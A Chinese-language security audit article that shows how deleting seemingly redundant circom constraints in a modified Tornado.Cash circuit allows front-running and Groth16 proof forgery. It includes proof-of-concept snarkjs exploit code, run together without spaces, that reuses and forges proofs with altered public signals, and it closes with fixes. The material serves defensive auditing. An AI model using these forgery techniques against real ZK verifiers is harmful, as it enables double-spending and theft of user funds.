ZKP项目方必读:电路审计——冗余约束真的冗余吗?

    ZKP(Zero-KnowledgeProof)项目主要包含链下电路、链上合约两部分,其中电路部分由于涉及业务逻辑的约束抽象以及复杂的密码学基础知识,所以该部分是项目方实现的难点,同时也是安全人员的审计难点,下面列举一种容易被项目方忽视的安全案例—“冗余约束”,目的是提醒项目方和用户注意相关安全风险。冗余约束能删除吗审计ZKP项目时,通常会见到如下奇怪约束,但很多项目方实际并不理解具体含义,为了降低电路复用的难度和节省链下计算消耗,可能会删除部分约束,从而造成安全问题:我们将上述代码删除前后生成的约束数量进行对比,发现在一个实际项目中有无上述约束,对项目约束总量的变化影响很小,因为它们很容易被项目方自动优化忽略而实际上述电路的目的仅仅是为了在证明中附加一段数据,以Tornado.Cash为例附加的数据包括:接收者地址、中继relayer地址、手续费等,由于这些信号不影响后续电路的实际计算,所以可能会让部分其他项目方产生疑惑,从而将其从电路中删除,导致部分用户交易被抢跑。

    下面将以简单的隐私交易项目Tornado.Cash为例介绍这种攻击,本文将电路中附加信息的相关信号和约束删除后具体如下:include"../../../../node_modules/circomlib/circuits/bitify.circom";include"../../../../node_modules/circomlib/circuits/pedersen.circom";include"merkleTree.circom";templateCommitmentHasher(){signalinputnullifier;signalinputsecret;signaloutputcommitment;//signaloutputnullifierHash;componentcommitmentHasher=Pedersen(496);//componentnullifierHasher=Pedersen(248);componentnullifierBits=Num2Bits(248);componentsecretBits=Num2Bits(248);nullifierBits.in<==nullifier;secretBits.in<==secret;for(vari=0;i<248;i++){//nullifierHasher.in[i]<==nullifierBits.out[i];commitmentHasher.in[i]<==nullifierBits.out[i];commitmentHasher.in[i+248]<==secretBits.out[i];}commitment<==commitmentHasher.out[0];//nullifierHash<==nullifierHasher.out[0];}//VerifiesthatcommitmentthatcorrespondstogivensecretandnullifierisincludedinthemerkletreeofdepositstemplateWithdraw(levels){signalinputroot;//signalinputnullifierHash;signaloutputcommitment;//signalinputrecipient;//nottakingpartinanycomputations//signalinputrelayer;//nottakingpartinanycomputations//signalinputfee;//nottakingpartinanycomputations//signalinputrefund;//nottakingpartinanycomputationssignalinputnullifier;signalinputsecret;//signalinputpathElements[levels];//signalinputpathIndices[levels];componenthasher=CommitmentHasher();hasher.nullifier<==nullifier;hasher.secret<==secret;commitment<==hasher.commitment;//hasher.nullifierHash===nullifierHash;//componenttree=MerkleTreeChecker(levels);//tree.leaf<==hasher.commitment;//tree.root<==root;//for(vari=0;i

    下面是某隐私交易DApp的MEV抢跑攻击示例:冗余约束的错误写法此外,电路中还有两种常见的错误写法,可能导致更加严重的双花攻击:一种是电路中设置了input信号,但是未对该信号进行约束,另一种是信号的多个约束之间存在线性依赖关系。下图为Groth16算法常见的Prove和Verify计算流程:Prover生成证明Proofπ=([A]1,[C]1,[B]2):Verifier接收到证明π[A、B、C]后经过如下验证方程计算,如果成立则验证通过,否则验证不通过:3.1信号未参与约束如果某个公共信号Zi在电路中不存在任何约束,那么对于其约束j来说,下列式子值恒为0(其中rj是Verifier需要Prover计算的随机挑战值):同时,这意味着对于Zi来说,任意的x均有以下式子:因此,验证方程中下列式子针对信号x有:由于验证方程如下:可以发现,无论Zi取任何值,该项计算的结果总是为0。本文修改Tornado.Cash电路如下,可以看到该电路有1个公共输入信号recipient,以及3个私有信号root、nullifier、secret,其中recipient在该电路中并不存在任何约束:templateWithdraw(levels){signalinputroot;signaloutputcommitment;signalinputrecipient;//nottakingpartinanycomputationssignalinputnullifier;signalinputsecret;componenthasher=CommitmentHasher();hasher.nullifier<==nullifier;hasher.secret<==secret;commitment<==hasher.commitment;}componentmain{public[recipient]}=Withdraw(20);本文将在最新的snarkjs库0.7.0版本上测试,将其隐式约束代码删除,以展示电路存在没有约束信号时的双花攻击效果,核心exp代码如下:asyncfunctiongroth16_exp(){letinputA="7";letinputB="11";letinputC="9";letinputD="0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC";awaitnewZKey(`withdraw2.r1cs`,`powersOfTau28_hez_final_14.ptau`,`withdraw2_0000.zkey`,)awaitbeacon(`withdraw2_0000.zkey`,`withdraw2_final.zkey`,"FinalBeacon","0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f",10,)constverificationKey=awaitexportVerificationKey(`withdraw2_final.zkey`)fs.writeFileSync(`withdraw2_verification_key.json`,JSON.stringify(verificationKey),"utf-8")let{proof,publicSignals}=awaitgroth16FullProve({root:inputA,nullifier:inputB,secret:inputC,recipient:inputD},"withdraw2.wasm","withdraw2_final.zkey");console.log("publicSignals",publicSignals)fs.writeFileSync(`public1.json`,JSON.stringify(publicSignals),"utf-8")fs.writeFileSync(`proof.json`,JSON.stringify(proof),"utf-8")verify(publicSignals,proof);publicSignals[1]="4"console.log("publicSignals",publicSignals)fs.writeFileSync(`public2.json`,JSON.stringify(publicSignals),"utf-8")verify(publicSignals,proof);}可以看到生成的两个Proof都通过了校验:3.2线性依赖型约束templateWithdraw(levels){signalinputroot;//signalinputnullifierHash;signaloutputcommitment;signalinputrecipient;//nottakingpartinanycomputationssignalinputrelayer;//nottakingpartinanycomputationssignalinputfee;//nottakingpartinanycomputations//signalinputrefund;//nottakingpartinanycomputationssignalinputnullifier;signalinputsecret;//signalinputpathElements[levels];//signalinputpathIndices[levels];componenthasher=CommitmentHasher();hasher.nullifier<==nullifier;hasher.secret<==secret;commitment<==hasher.commitment;signalinputSquare;//recipientSquare<==recipient*recipient;//feeSquare<==fee*fee;//relayerSquare<==relayer*relayer;//refundSquare<==refund*refund;35*Square===(2*recipient+2*relayer+fee+2)*(relayer+4);}componentmain{public[recipient,Square]}=Withdraw(20);上述电路可能导致双花攻击,具体的exp核心代码如下:constbuildMalleabeC=async(orignal_proof_c,publicinput_index,orginal_pub_input,new_public_input,l)=>{constc=unstringifyBigInts(orignal_proof_c)const{fd:fdZKey,sections:sectionsZKey}=awaitreadBinFile("tornadocash_final.zkey","zkey",2,1<<25,1<<23)constbuffBasesC=awaitreadSection(fdZKey,sectionsZKey,8)fdZKey.close()constcurve=awaitbuildBn128();constFr=curve.Fr;constG1=curve.G1;constnew_pi=newUint8Array(Fr.n8);Scalar.toRprLE(new_pi,0,new_public_input,Fr.n8);constmatching_pub=newUint8Array(Fr.n8);Scalar.toRprLE(matching_pub,0,orginal_pub_input,Fr.n8);constsGIn=curve.G1.F.n8*2constmatching_base=buffBasesC.slice(publicinput_index*sGIn,publicinput_index*sGIn+sGIn)constlinear_factor=Fr.e(l.toString(10))constdelta_lf=Fr.mul(linear_factor,Fr.sub(matching_pub,new_pi));constp=awaitcurve.G1.timesScalar(matching_base,delta_lf);constaffine_c=G1.fromObject(c);constmalleable_c=G1.toAffine(G1.add(affine_c,p))returnstringifyBigInts(G1.toObject(malleable_c))}同样修改部分库代码后,我们在snarkjs0.7.0版本上进行测试,结果为如下两个伪造的proof都可以通过验证:publicsingnal1+proof1publicsingnal2+proof2修复方案4.1zk库代码目前部分流行的zk库如snarkjs库会在电路中隐式的加入一些约束,例如一个最简单的约束:上述式子在数学上恒成立,因此无论实际的信号值是多少,符合任何约束,都可以在setup期间被库代码隐式的统一添加到电路中,此外在电路中使用第一节的平方约束则是更为安全的做法。例如snarkjs在setup期间生成zkey时隐式添加了下列约束:4.2电路项目方在设计电路时,由于使用的第三方zk库可能在setup或编译期间并不会添加额外约束,所以我们建议项目方尽量在电路设计层面保证约束的完整性,在电路中严格对所有信号进行合法约束以保证安全性,例如前文所示的平方约束。

Pixel Artist Pixel Artist
Happy Kittens Puzzle Happy Kittens Puzzle
Penguin Cafe Penguin Cafe
Animal Connection Animal Connection
Snakes N Ladders Snakes N Ladders
Pixel Skate Pixel Skate
BeeLine BeeLine
Draw Parking Draw Parking
Draw Racing Draw Racing
Soccer Balls Soccer Balls
Happy Fishing Happy Fishing
Crashy Cat Crashy Cat

FREE GAMES FOR KIDS ONLINE